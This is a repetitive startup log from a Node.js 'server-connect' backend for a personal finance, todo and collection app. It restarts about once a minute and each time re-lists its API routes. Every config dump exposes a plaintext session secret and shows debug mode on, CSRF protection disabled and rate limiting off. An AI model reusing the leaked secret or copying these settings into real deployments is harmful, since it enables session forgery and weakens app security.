2026-07-23T15:40:56.412Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:40:56.412Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:40:56.412Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:41:56.607Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:41:56.806Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:41:56.905Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:41:56.906Z server-connect:secure CSRF Protection initialized
2026-07-23T15:41:56.907Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:41:56.908Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:41:56.908Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:41:56.909Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:41:56.909Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:41:56.910Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:41:56.912Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:41:56.913Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:41:56.913Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:41:56.914Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:41:56.914Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:41:56.914Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:41:56.915Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:41:56.915Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:41:56.918Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:41:56.918Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:41:56.919Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:41:56.919Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:41:56.919Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:41:56.920Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:41:56.920Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:41:56.920Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:41:56.920Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:41:56.921Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:41:56.921Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:41:56.921Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:41:56.921Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:41:56.922Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:41:56.922Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:41:56.922Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:41:56.922Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:41:56.922Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:41:56.923Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:41:56.923Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:41:56.923Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:41:56.923Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:41:56.923Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:41:56.924Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:42:57.137Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:42:57.325Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:42:57.434Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:42:57.434Z server-connect:secure CSRF Protection initialized
2026-07-23T15:42:57.437Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:42:57.438Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:42:57.439Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:42:57.440Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:42:57.440Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:42:57.442Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:42:57.444Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:42:57.445Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:42:57.446Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:42:57.455Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:42:57.455Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:42:57.456Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:42:57.456Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:42:57.477Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:42:57.477Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:42:57.477Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:42:57.478Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:42:57.478Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:42:57.479Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:42:57.479Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:42:57.480Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:42:57.480Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:42:57.480Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:42:57.481Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:42:57.481Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:42:57.481Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:42:57.481Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:42:57.482Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:42:57.482Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:42:57.482Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:42:57.482Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:42:57.482Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:42:57.483Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:42:57.483Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:42:57.483Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:42:57.483Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:42:57.483Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:42:57.484Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:43:57.613Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:43:57.796Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:43:57.879Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:43:57.879Z server-connect:secure CSRF Protection initialized
2026-07-23T15:43:57.881Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:43:57.882Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:43:57.882Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:43:57.882Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:43:57.883Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:43:57.883Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:43:57.886Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:43:57.886Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:43:57.887Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:43:57.887Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:43:57.888Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:43:57.888Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:43:57.889Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:43:57.892Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:43:57.893Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:43:57.893Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:43:57.893Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:43:57.894Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:43:57.894Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:43:57.894Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:43:57.894Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:43:57.895Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:43:57.895Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:43:57.895Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:43:57.896Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:43:57.896Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:43:57.896Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:43:57.896Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:43:57.897Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:43:57.897Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:43:57.897Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:43:57.897Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:43:57.897Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:43:57.898Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:43:57.898Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:43:57.898Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:43:57.898Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:43:57.898Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:44:59.306Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:44:59.491Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:44:59.565Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:44:59.566Z server-connect:secure CSRF Protection initialized
2026-07-23T15:44:59.567Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:44:59.568Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:44:59.568Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:44:59.569Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:44:59.569Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:44:59.570Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:44:59.576Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:44:59.577Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:44:59.578Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:44:59.578Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:44:59.578Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:44:59.579Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:44:59.579Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:44:59.580Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:44:59.580Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:44:59.581Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:44:59.584Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:44:59.585Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:44:59.585Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:44:59.585Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:44:59.586Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:44:59.586Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:44:59.586Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:44:59.587Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:44:59.587Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:44:59.587Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:44:59.587Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:44:59.587Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:44:59.588Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:44:59.588Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:44:59.588Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:44:59.588Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:44:59.588Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:44:59.589Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:44:59.589Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:44:59.589Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:44:59.589Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:44:59.589Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:45:59.806Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:45:59.997Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:46:00.082Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:46:00.082Z server-connect:secure CSRF Protection initialized
2026-07-23T15:46:00.084Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:46:00.084Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:46:00.085Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:46:00.085Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:46:00.086Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:46:00.086Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:46:00.089Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:46:00.089Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:46:00.090Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:46:00.090Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:46:00.091Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:46:00.091Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:46:00.091Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:46:00.092Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:46:00.092Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:46:00.093Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:46:00.096Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:46:00.096Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:46:00.096Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:46:00.097Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:46:00.097Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:46:00.097Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:46:00.098Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:46:00.098Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:46:00.098Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:46:00.099Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:46:00.099Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:46:00.099Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:46:00.099Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:46:00.100Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:46:00.100Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:46:00.100Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:46:00.100Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:46:00.100Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:46:00.101Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:46:00.101Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:46:00.101Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:46:00.101Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:47:00.380Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:47:00.657Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:47:00.782Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:47:00.783Z server-connect:secure CSRF Protection initialized
2026-07-23T15:47:00.786Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:47:00.787Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:47:00.788Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:47:00.789Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:47:00.789Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:47:00.791Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:47:00.795Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:47:00.797Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:47:00.798Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:47:00.799Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:47:00.799Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:47:00.800Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:47:00.801Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:47:00.802Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:47:00.802Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:47:00.803Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:47:00.804Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:47:00.805Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:47:00.806Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:47:00.807Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:47:00.808Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:47:00.817Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:47:00.817Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:47:00.818Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:47:00.819Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:47:00.827Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:47:00.828Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:47:00.828Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:47:00.829Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:47:00.829Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:47:00.829Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:47:00.830Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:47:00.830Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:47:00.830Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:47:00.831Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:47:00.831Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:47:00.831Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:47:00.832Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:48:01.193Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:48:01.408Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:48:01.507Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:48:01.508Z server-connect:secure CSRF Protection initialized
2026-07-23T15:48:01.511Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:48:01.512Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:48:01.513Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:48:01.514Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:48:01.514Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:48:01.515Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:48:01.519Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:48:01.520Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:48:01.521Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:48:01.522Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
